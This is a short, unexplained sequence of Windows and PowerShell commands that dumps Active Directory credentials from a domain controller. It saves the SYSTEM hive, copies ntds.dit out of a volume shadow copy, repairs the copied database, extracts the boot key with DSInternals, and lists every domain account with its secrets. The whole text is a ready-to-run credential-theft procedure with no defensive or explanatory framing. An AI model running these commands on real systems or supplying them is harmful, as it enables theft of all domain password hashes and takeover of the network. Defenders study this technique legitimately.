Install-Module -Name DSInternals
reg SAVE HKLM\SYSTEM C:\Windows\Temp\sys
vssadmin create shadow /for=C:
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\NTDS\ntds.dit c:\Windows\Temp\dit
ESENTUTL /p C:\Windows\Temp\dit /!1024 /8 /o
$key=Get-BootKey -SystemHiveFilePath C:\Windows\Temp\sys
Get-ADDBAccount -All -BootKey $key -DBPath C:\Windows\Temp\dit